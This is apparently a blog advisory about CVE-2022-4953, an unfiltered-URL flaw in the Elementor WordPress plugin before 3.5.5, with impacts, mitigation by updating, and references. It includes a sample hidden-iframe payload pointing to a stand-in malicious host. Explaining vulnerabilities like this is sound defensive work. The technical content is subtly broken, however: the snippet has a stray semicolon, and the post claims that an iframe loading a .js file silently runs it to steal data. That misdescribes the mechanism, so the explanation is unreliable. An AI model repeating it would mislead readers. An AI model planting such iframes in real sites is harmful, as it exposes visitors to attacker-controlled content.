WordPress, as a popular Content Management System, has seen a variety of plugins designed to aid in building and designing beautiful websites. One such plugin is the Elementor Website Builder. However, a recent vulnerability has come to light in the Elementor Website Builder plugin in versions earlier than 3.5.5. This vulnerability, identified as CVE-2022-4953, exposes the potential risk of these plugins not filtering out user-controlled URLs from being loaded into the DOM (Document Object Model). Consequently, this could lead to attackers injecting rogue iframes that point to malicious URLs.

In this post, we will examine the vulnerability details, provide example code snippets, and share some original references for further reading on the topic. We will also elaborate on potential exploits related to this vulnerability.

Vulnerability details

The core issue resides in how the Elementor Website Builder plugin handles user-controlled URLs. In versions earlier than 3.5.5, the plugin does not properly filter or sanitize URLs before they are loaded into the DOM. This overlooks might allow bad actors to inject rogue iframes that point to malicious URLs or websites.

Here's a code snippet that demonstrates how an attacker might perform the iframe injection

<iframe src="https://malicious-url.com/bad-script.js"; width="" height="" style="display: none;"></iframe>

In this example, the malicious website (malicious-url.com) hosts a harmful JavaScript file (bad-script.js). The rogue iframe is crafted in such a way that it remains hidden from the user, while the script executes in the background, allowing the attacker to steal sensitive information, perform actions on behalf of the user, or other nefarious deeds.\

Information leakage: Certain sensitive information may be silently sent to the attacker's server.

- Unauthorized actions: An attacker could potentially execute actions on behalf of the user or impersonate the user.

Redirection: Attackers could redirect users to phishing websites or other compromised sites.

In some cases, attackers may also use Cross-Site Scripting (XSS) techniques to further enhance their malicious activities.

Mitigation

The issue has been addressed in Elementor Website Builder version 3.5.5. To safeguard against this vulnerability, users should update their plugin to this version or a later one. Additionally, it is recommended to follow best security practices for WordPress, such as regularly monitoring and updating plugins and themes and implementing common security measures like strong user authentication, least-privileged access, and proper input validation.

References

For more information on CVE-2022-4953 and related security topics, please refer to the following resources:
- CVE Details: CVE-2022-4953
- Elementor Changelog - Version 3.5.5 Details
- WordPress Security Best Practices

Conclusion

Although the Elementor Website Builder WordPress plugin is an invaluable tool for creating and maintaining websites, it is essential to always stay vigilant to potential security vulnerabilities. In this specific instance, updating the plugin to version 3.5.5 or later will mitigate the risks posed by CVE-2022-4953. As always, keep an eye out for new developments and patches to stay one step ahead of attackers. Stay safe, and always keep your WordPress installations up-to-date to ensure the security of your website and your users.

Timeline

Published on: 08/14/2023 20:15:00 UTC
Last modified on: 09/08/2023 23:15:00 UTC